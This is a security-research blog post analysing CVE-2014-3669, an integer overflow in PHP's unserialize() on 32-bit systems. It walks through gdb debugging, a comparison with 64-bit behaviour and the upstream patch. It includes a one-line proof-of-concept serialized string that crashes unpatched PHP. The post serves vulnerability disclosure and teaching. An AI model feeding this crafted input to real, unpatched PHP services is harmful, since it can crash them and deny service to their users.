Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

CVE-2014-3669: Integer overflow in unserialize() PHP function

Monday, October 20, 2014 By Read Time: 4 min.

In this blog post we are going to analyze an integer overflow we discovered in PHP (version <= 5.6.1, 5.5.17, 5.4.33) during our security research campaign which was conducted on a Ubuntu 14.04.1 LTS 32bit system.


Introduction

In this blog post we are going to analyze an integer overflow we discovered in PHP (version <= 5.6.1, 5.5.17, 5.4.33) during our security research campaign which was conducted by High-Tech Bridge Security Research Lab on a Ubuntu 14.04.1 LTS 32bit system.

For this bug we used radamsa fuzzer. Radamsa is an excellent fuzzer for both text based generations and also binary file format mutations. We coded a python script which uses the python-ptrace signal handling module and allows us to catch any crashes and categorizes them depending on the signal number. For more information please visit the official website which has excellent documentation and examples.


Integer Limits

Before continuing let’s find out the maximum sizes of signed ‘int’ and ‘long’ data types.

On the Ubuntu and most UNIX systems the list of variables are defined in /usr/include/limits.h

We will slightly modify the Example 4 from OWASP’s Integer overflow article:
$ cat limits.c

#include <stdio.h>
#include <limits.h>

int main(void)
{
/*
user@ubuntuvm:~/Desktop$ cpp -dD /dev/null | grep "INT" | head -3
#define __SIZEOF_INT__ 4
#define __SIZEOF_POINTER__ 4
#define __WINT_TYPE__ unsigned int
user@ubuntuvm:~/Desktop$ cpp -dD /dev/null | grep "LONG" | head -3
#define __SIZEOF_LONG__ 4
#define __SIZEOF_LONG_LONG__ 8
#define __SIZEOF_LONG_DOUBLE__ 12

On a 32bit system the size of an integer is the same as a long
and as such a = b = 2147483647;
*/

int a;
long b;

a = INT_MAX;
printf("int a (INT_MAX) = %d (0x%x), int a (INT_MAX) + 1 = %d (0x%x)\n", a,a,a+1,a+1);

b = LONG_MAX;
printf("long b (LONG_MAX) = %ld (0x%x), long b (LONG_MAX) + 1 = %ld (0x%x)\n", b,b,b+1,b+1);

return 0;
}

Compiling and running the binary we get:
$ gcc limits.c -o limits

$ ./limits
int a (INT_MAX) = 2147483647 (0x7fffffff), int a (INT_MAX) + 1 = -2147483648 (0x80000000)
long b (LONG_MAX) = 2147483647 (0x7fffffff), long b (LONG_MAX) + 1 = -2147483648 (0x80000000)


Bug Analysis

Now we are going to save the following code snippet and run it under gdb:
<?php
unserialize('C:3:"GMP":18446744075857035259:{}');
?>

gdb$ r poc.php
Starting program: /usr/local/bin/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------[regs]
EAX: 0x3510CAB3 EBX: 0xB510B74C ECX: 0x3510CAB4 EDX: 0xBFFFBAB8 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB948 ESP: 0xBFFFB948 EIP: 0x0850505F
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
-----------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]
0x8505062 <finish_nested_data+19>: cmp al,0x7d
0x8505064 <finish_nested_data+21>: jne 0x850506d <finish_nested_data+30>
0x8505066 <finish_nested_data+23>: mov eax,0x1
0x850506b <finish_nested_data+28>: jmp 0x8505072 <finish_nested_data+35>
0x850506d <finish_nested_data+30>: mov eax,0x0
0x8505072 <finish_nested_data+35>: pop ebp
0x8505073 <finish_nested_data+36>: ret
-----------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbae4, p=0xbfffbab8, max=0xb510cab9 "", var_hash=0xbfffbab4, tsrm_ls=0x8c81320) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356 if (*((*p)++) == '}')
gdb$

From the above output we see that we are going to access the data in the memory that eax register points to - or dereference p (0x3510CAB3), then compare the lower 8 bits with 0x7d (that is char ‘}’ in ascii) and if they are equal return 1 else return 0.

As this memory address does not exist the program crashes. Debug symbols display the filename and the line where the crash occurred (in this case var_unserializer.c line 356)

Let’s list all the frames on the stack and see how we got there.

gdb$ bt
#0 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
#1 0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387
#2 0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738
#3 0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965
#4 0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550
#5 0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332
#6 0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363
#7 0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388
#8 0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330
#9 0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506
#10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994
#11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378

The innermost three frames show that var_unserializer.c is probably where the bug lies in.

The crash happened at the frame zero line 356, followed by its caller at line 387: return finish_nested_data(UNSERIALIZE_PASSTHRU - Figure 1);

Now that we have a basic clue of what is happening let’s set a breakpoint after the variable declaration at the object_custom():

Sample source code from /ext/standard/var_unserializer.c
Figure 1: Sample source code from /ext/standard/var_unserializer.c

gdb$ break var_unserializer.c:373
Breakpoint 1 at 0x85050a2: file /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c, line 373.
gdb$ run
Starting program: /usr/local/bin/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
-----------------------------------------------------------------------[regs]
EAX: 0xBFFFBAB8 EBX: 0xB510B74C ECX: 0x00000000 EDX: 0xB510CAB8 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB988 ESP: 0xBFFFB950 EIP: 0x085050A2
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
-----------------------------------------------------------------------[code]
=> 0x85050a2 <object_custom+46>: cmp DWORD PTR [ebp-0xc],0x0
0x85050a6 <object_custom+50>: js 0x85050b7 <object_custom+67>
0x85050a8 <object_custom+52>: mov eax,DWORD PTR [ebp+0xc]
0x85050ab <object_custom+55>: mov edx,DWORD PTR [eax]
0x85050ad <object_custom+57>: mov eax,DWORD PTR [ebp-0xc]
0x85050b0 <object_custom+60>: add eax,edx
0x85050b2 <object_custom+62>: cmp eax,DWORD PTR [ebp+0x10]
0x85050b5 <object_custom+65>: jb 0x85050ec <object_custom+120>
-----------------------------------------------------------------------------

Breakpoint 1, object_custom (rval=0xbfffbae4, p=0xbfffbab8, max=0xb510cab9 "", var_hash=0xbfffbab4, tsrm_ls=0x8c81320, ce=0x8da10c8) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373 if (datalen < 0 || (*p) + datalen >= max) {
gdb$

We hit our breakpoint and we are going to examine the values.

gdb$ print p
$1 = (const unsigned char **) 0xbfffbab8
gdb$ print *p
$2 = (const unsigned char *) 0xb510cab8 "}"

So far so good, pointer p points to ‘}’ char.

Let’s examine datalen variable.

gdb$ ptype datalen
type = long
gdb$ print sizeof(datalen)
$3 = 0x4
gdb$ print/d datalen
$4 = 2147483643
gdb$ print/x datalen
$5 = 0x7ffffffb

This is very interesting, we confirmed that the size of long is indeed 4 bytes and then we respectively printed the decimal and hex values of the datalen variable.

If you recall the largest positive signed (32bit) integer value is 2147483647 (0x7fffffff) and we are really close hitting this value. Let’s play around a bit with this variable:
gdb$ p/d datalen + 4
$6 = 2147483647
gdb$ p/x datalen + 4
$7 = 0x7fffffff
gdb$ p/d datalen + 5
$8 = -2147483648
gdb$ p/x datalen + 5
$9 = 0x80000000

As expected the addition of datalen with any value greater or equal to 5 will overwrite the sign bit and overflow the integer.

Let's examine the current max, (*p) and (*p) + datalen values:

gdb$ p/d max
$10 = 3037776569
gdb$ p/d (*p)
$11 = 3037776568
gdb$ p/d (*p) + datalen
$12 = 890292915 <-- overflown value
gdb$ p/x (*p) + datalen
$13 = 0x3510cab3

Switching back to the code:
if (datalen < 0 || (*p) + datalen >= max) {
zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));
return 0;
}

we can see that (*p) + datalen = 890292915 (overflown value) is less than max (3037776569) and thus the above if statement is false.

We will set another breakpoint at var_unserializer.c:385:
gdb$ b var_unserializer.c:385
Breakpoint 2 at 0x8505185: file /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c, line 385.

We continue the execution and we end up here:
gdb$ c
Continuing.

Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2
-----------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB510B74C ECX: 0xBFFFB8C8 EDX: 0x08C7D340 o d I t S z a p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505185
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
-----------------------------------------------------------------------[code]
=> 0x8505185 <object_custom+273>: mov eax,DWORD PTR [ebp+0xc]
0x8505188 <object_custom+276>: mov edx,DWORD PTR [eax]
0x850518a <object_custom+278>: mov eax,DWORD PTR [ebp-0xc]
0x850518d <object_custom+281>: add edx,eax
0x850518f <object_custom+283>: mov eax,DWORD PTR [ebp+0xc]
0x8505192 <object_custom+286>: mov DWORD PTR [eax],edx
0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18]
0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax
-----------------------------------------------------------------------------

Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510cab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385
385 (*p) += datalen;

This time we will step the command and observe the registers but before we do it let’s print again the sum of (*p) + datalen:

gdb$ print (*p) + datalen
$42 = (const unsigned char *) 0x3510cab3 <error: Cannot access memory at address 0x3510cab3>
gdb$ step
-----------------------------------------------------------------------[regs]
EAX: 0xBFFFBA88 EBX: 0xB510B74C ECX: 0xBFFFB8C8 EDX: 0x3510CAB3 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505194
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
-----------------------------------------------------------------------[code]
=> 0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18]
0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax
0x850519b <object_custom+295>: mov eax,DWORD PTR [ebp+0x14]
0x850519e <object_custom+298>: mov DWORD PTR [esp+0xc],eax
0x85051a2 <object_custom+302>: mov eax,DWORD PTR [ebp+0x10]
0x85051a5 <object_custom+305>: mov DWORD PTR [esp+0x8],eax
0x85051a9 <object_custom+309>: mov eax,DWORD PTR [ebp+0xc]
0x85051ac <object_custom+312>: mov DWORD PTR [esp+0x4],eax
-----------------------------------------------------------------------------
387 return finish_nested_data(UNSERIALIZE_PASSTHRU);

As expected *p pointer (stored in edx) now points to invalid memory address and continuing the execution we are going to dereference this address and eventually crash.
gdb$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------[regs]
EAX: 0x3510CAB3 EBX: 0xB510B74C ECX: 0x3510CAB4 EDX: 0xBFFFBA88 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
-----------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]
0x8505062 <finish_nested_data+19>: cmp al,0x7d
0x8505064 <finish_nested_data+21>: jne 0x850506d <finish_nested_data+30>
0x8505066 <finish_nested_data+23>: mov eax,0x1
0x850506b <finish_nested_data+28>: jmp 0x8505072 <finish_nested_data+35>
0x850506d <finish_nested_data+30>: mov eax,0x0
0x8505072 <finish_nested_data+35>: pop ebp
0x8505073 <finish_nested_data+36>: ret
-----------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510cab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356 if (*((*p)++) == ‘}')

Running the ‘exploitable’ GDB plugin we get:
gdb$ exploitable
Description: Access violation on source operand
Short description: SourceAv (19/22)
Hash: 5c4e079d41010aaa759ab4663549e504.6e2e3a1f7072190c9a557ed5fa2af9cd
Exploitability Classification: UNKNOWN
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation.
Other tags: AccessViolation (21/22)

To sum up this is a read access violation and probably not exploitable, but cases like CVE-2013-7226 (Integer overflow in the gdImageCrop function) can lead to a heap-based buffer overflow and probably allow potential attackers to gain remote code execution.


64-bit case

For the 64-bit case we are using a Debian 7.5 system.

Again we set a brakpoint at the same line:
Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373 if (datalen < 0 || (*p) + datalen >= max) {

gdb$ print sizeof(datalen)
$1 = 0x8
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = 2147483648 <--- No overflow
gdb$ p/d max
$6 = 140737239223281
gdb$ p/d (*p) + datalen
$7 = 140739386706923

The size of an unsigned long integer on a 64-bit machine is 8 bytes and thus has a range of values from -9223372036854775808 (mininum) to 9223372036854775807 (maximum)

As such, the sum of (*p) + datalen is calculated correctly and because 140739386706923 is greater than max (140737239223281) we jump into the if statement and get this warning:
gdb$ c

Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2

[Inferior 1 (process 8693) exited normally]


The Fix

PHP developers released the following patch which fixes the issue and prevents PHP from crashing/segfaulting.

--- a/ext/standard/var_unserializer.c
+++ b/ext/standard/var_unserializer.c
@@ -1,4 +1,4 @@
-/* Generated by re2c 0.13.5 on Sat Jun 21 21:27:56 2014 */
+/* Generated by re2c 0.13.5 */
 #line 1 "ext/standard/var_unserializer.re"
 /*
   +----------------------------------------------------------------------+
@@ -372,7 +372,7 @@ static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)

        (*p) += 2;

- if (datalen < 0 || (*p) + datalen >= max) {
+ if (datalen < 0 || (max - (*p))<= datalen) {
                zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));
                return 0;
        }

More information about the official patch on php.net.


Acknowledgements

[1] SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion Vulnerabilities
[2] xorl's blog: CVE-2011-1092 PHP shmop_read() Integer Overflow
[3] OWASP's Integer overflow article
[4] gdbinit repository
[5] Debugging with GDB



User Comments
Add Comment
3 responses to "CVE-2014-3669: Integer overflow in unserialize() PHP function"
Anonymous 2014-10-27 17:53:32 UTC Comment this
You mis-copied the patch. You have "<<=", where the patch has "<=".
High-Tech Bridge 2014-10-27 18:20:40 UTC Comment this
Corrected, thank you for the hint!
Network Security Firewall 2017-05-04 11:22:39 UTC Comment this
this is a very useful information for us so thanks to share this post. 
↑ Back to Top

Quick Start
Technology
Products
Free Trial